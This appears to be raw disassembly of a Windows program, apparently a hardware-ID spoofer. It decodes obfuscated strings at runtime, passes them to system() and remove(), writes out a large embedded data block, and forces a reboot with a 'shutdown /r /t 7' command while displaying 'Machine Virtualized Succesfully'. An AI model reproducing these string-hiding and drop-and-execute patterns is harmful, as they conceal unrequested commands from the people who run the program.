movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140072510
cmp r8d, 0x23
jge 0x140072641
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140072610
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2d67]
lea rcx, [rbp + 0x135]
mov byte [rbp + 0x135], al
call fcn.140078b60
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x1400727c1
mov r8d, r14d
cmp r15d, 2
jl 0x140072783
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140072690
cmp r8d, 0x23
jge 0x1400727c1
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x23
jl 0x140072790
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov byte [reloc.WS2_32.dll_accept], 0
cmp byte [0x1403a27dc], 0
je 0x140072c8a
xor eax, eax
lea rdx, [rbp + 0x42f0]
lea rcx, [rbp + 0x136]
mov byte [rbp + 0x136], al
call fcn.140078b90
mov r10, rax
cmp word [rax + 0x48], 0
je 0x140072955
mov r8d, r14d
cmp r15d, 2
jl 0x140072919
movdqa xmm4, xmmword [0x14016f7a0]
mov rcx, rax
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm10
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm8
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
movq xmm2, xmm4
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x20
jl 0x140072820
cmp r8d, 0x25
jge 0x140072955
movsxd rax, r8d
lea r9, [r10 + rax*2]
mov eax, 0x4d4873ed
lea r9, [r9 + 2]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x35
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0x25
jl 0x140072920
mov rdx, r10
lea rcx, [rbp + 0x2cc0]
call fcn.14007a170
mov r8d, 0x60a00
lea rdx, [0x1403405d0]
lea rcx, [rbp + 0x2cc0]
call fcn.140047c20
lea rcx, [rbp + 0x2cc0]
call fcn.14003ec20
xor eax, eax
lea rdx, [rbp + 0x2e88]
lea rcx, [rbp + 0x137]
mov byte [rbp + 0x137], al
call fcn.140078be0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140072b01
mov r8d, r14d
cmp r15d, 2
jl 0x140072ac3
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400729d0
cmp r8d, 0x25
jge 0x140072b01
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x140072ad0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
lea rdx, [rbp + 0x2ead]
lea rcx, [rbp + 0x138]
mov byte [rbp + 0x138], al
call fcn.140078be0
mov r10, rax
cmp byte [rax + 0x24], 0
je 0x140072c81
mov r8d, r14d
cmp r15d, 2
jl 0x140072c43
movdqa xmmword [rbp + 0x10], xmm13
mov rcx, rax
mov edx, dword [rbp + 0x10]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm10
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm10
movdqa xmm0, xmm2
pmuldq xmm1, xmm8
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm11
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm11
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x140072b50
cmp r8d, 0x25
jge 0x140072c81
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4d4873ed
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x25
jl 0x140072c50
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov dword [0x1403a2288], 0xd
movaps xmm12, xmm14
lea rcx, [rbp + 0x2640]
call fcn.14003ec20
cmp dword [0x1403a2288], 0xd
jne 0x140073119
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140072cce
lea rcx, str.shutdown__r__t_7__c__Applying_Spoofing__Changes__Algorithms_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [reloc.WS2_32.dll_accept], 0
call fcn.140008fb0
cmp dword [0x1403a2288], 0xd
movss xmm2, dword [rax + 0x10]
mulss xmm2, dword [0x14016f49c]
jne 0x140072cf3
movss xmm1, dword [0x14016f554]
jmp 0x140072cf7
movaps xmm1, xmm14
movss xmm0, dword [0x1403a27d8]
call fcn.14007b3e0
movss dword [0x1403a27d8], xmm0
call fcn.140013290
movss xmm1, dword [0x14016f420]
lea rcx, [0x1403a28a8]
mov rdi, rax
call fcn.140004fe0
movsd xmm0, qword [0x1403a10b0]
lea rdx, [rbp + 0x918]
movss xmm7, dword [0x14016f488]
lea rcx, [rbp + 0x920]
movss xmm6, dword [0x1403a27d8]
movaps xmm2, xmm7
movsd qword [rbp + 0x918], xmm0
mov ebx, eax
call fcn.14003e9d0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x928]
call fcn.14003e9f0
movss xmm0, dword [0x14016f4a4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.1400245a0
call fcn.140013290
movss xmm1, dword [0x14016f438]
lea rcx, [0x1403a28a8]
mov rdi, rax
call fcn.140004fe0
movsd xmm0, qword [0x1403a10b0]
lea rdx, [rbp + 0x930]
movss xmm6, dword [0x1403a27d8]
lea rcx, [rbp + 0x938]
movaps xmm2, xmm7
movsd qword [rbp + 0x930], xmm0
mov ebx, eax
mulss xmm6, xmm7
call fcn.14003e9d0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x940]
call fcn.14003e9f0
movss xmm0, dword [0x14016f4a4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.1400245a0
call fcn.140013290
movss xmm1, dword [0x14016f468]
lea rcx, [0x1403a28a8]
mov rdi, rax
call fcn.140004fe0
movsd xmm0, qword [0x1403a10b0]
lea rdx, [rbp + 0x948]
movss xmm6, dword [0x1403a27d8]
lea rcx, [rbp + 0x950]
mulss xmm6, dword [0x14016f49c]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x948], xmm0
call fcn.14003e9d0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x958]
call fcn.14003e9f0
movss xmm0, dword [0x14016f4a4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.1400245a0
call fcn.140013290
movss xmm1, dword [0x14016f468]
lea rcx, [0x1403a28a8]
mov rdi, rax
call fcn.140004fe0
movsd xmm0, qword [0x1403a10b0]
lea rdx, [rbp + 0x960]
movss xmm6, dword [0x1403a27d8]
lea rcx, [rbp + 0x968]
mulss xmm6, dword [0x14016f4a4]
movaps xmm2, xmm7
mov ebx, eax
movsd qword [rbp + 0x960], xmm0
call fcn.14003e9d0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x970]
call fcn.14003e9f0
movss xmm0, dword [0x14016f4a4]
mov r9d, ebx
movss dword [rsp + 0x28], xmm0
movaps xmm2, xmm6
mov rdx, rax
mov dword [rsp + 0x20], 0x64
mov rcx, rdi
call fcn.1400245a0
call fcn.140013290
movss xmm1, dword [0x14016f468]
lea rcx, [0x1403a28a8]
mov rsi, rax
call fcn.140004fe0
movss xmm6, dword [0x14016f4e4]
lea rcx, [rbp + 0x978]
movaps xmm2, xmm6
movaps xmm1, xmm14
mov edi, eax
call fcn.140001d60
movss xmm0, dword [0x14016f668]
lea rdx, str.Machine_Virtualized_Succesfully_
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rcx, [rbp + 0x980]
mov rbx, rax
call fcn.14000c2f0
movsd xmm0, qword [0x1403a10b0]
lea rdx, [rbp + 0x988]
mov r8, rax
movsd qword [rbp + 0x988], xmm0
lea rcx, [rbp + 0x990]
call fcn.14003ea20
mov r8, rbx
lea rcx, [rbp + 0x998]
mov rdx, rax
call fcn.14003ea20
mov rdx, rax
lea rcx, [rbp + 0x9a0]
movaps xmm2, xmm7
call fcn.14003e9d0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x9a8]
call fcn.14003e9f0
lea r9, str.Machine_Virtualized_Succesfully_
mov qword [rsp + 0x20], r14
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.1400247c0
call fcn.140013290
movss xmm1, dword [0x14016f420]
lea rcx, [0x1403a28a8]
mov rsi, rax
call fcn.140004fe0
movaps xmm2, xmm6
lea rcx, [rbp + 0x9b0]
movaps xmm1, xmm14
mov edi, eax
call fcn.140001d60
movss xmm0, dword [0x14016f668]
mov rbx, rax
xor r9d, r9d
movss dword [rsp + 0x20], xmm0
xor r8d, r8d
lea rdx, str.Restart_PC_To_Apply_Changes
lea rcx, [rbp + 0x9b8]
call fcn.14000c2f0
movsd xmm0, qword [0x1403a10b0]
lea rdx, [rbp + 0x9c0]
mov r8, rax
movsd qword [rbp + 0x9c0], xmm0
lea rcx, [rbp + 0x9c8]
call fcn.14003ea20
mov r8, rbx
lea rcx, [rbp + 0x9d0]
mov rdx, rax
call fcn.14003e9f0
mov rdx, rax
lea rcx, [rbp + 0x9d8]
movaps xmm2, xmm7
call fcn.14003e9d0
mov r8, rax
lea rdx, [rbp + 0x180]
lea rcx, [rbp + 0x9e0]
call fcn.14003e9f0
lea r9, str.Restart_PC_To_Apply_Changes
mov qword [rsp + 0x20], r14
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call fcn.1400247c0
movss xmm0, dword [0x1403a27d8]
comiss xmm0, dword [0x14016f550]
jbe 0x140073119
mov dword [0x1403a27d8], 0
call fcn.140011e90
call fcn.14000bed0
mov rcx, qword [0x1403a27c8]
lea r8, [0x1403a27b0]
xorps xmm0, xmm0
xor r9d, r9d
movups xmmword [rbp + 0x1e50], xmm0
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x108]
mov rcx, qword [0x1403a27c8]
lea r8, [rbp + 0x1e50]
mov rdx, qword [0x1403a27b0]
mov rax, qword [rcx]
call qword [rax + 0x190]
call fcn.140008ff0
mov rcx, rax
call fcn.14003a0a0
mov rcx, qword [0x1403a27b8]
xor r8d, r8d
mov edx, r13d
mov rax, qword [rcx]
call qword [rax + 0x40]
movss xmm7, dword [0x14016f4e8]
mov rdi, qword [rbp + 0x140]
jmp 0x14004d85c
call fcn.14003b3d0
call fcn.14003b7c0
xor ecx, ecx
call fcn.140006c80
call fcn.140078da0
mov rcx, qword [0x1403a2310]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x44d8]
mov rcx, qword [rbp + 0x4500]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0xa40]
mov r13d, r14d
call fcn.14003ea50
lea rcx, [rbp + 0xa30]
call fcn.140078c10
lea rcx, [rbp + 0x2138]
call fcn.14007a350
mov eax, r13d
lea r11, [rsp + 0x9ad0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret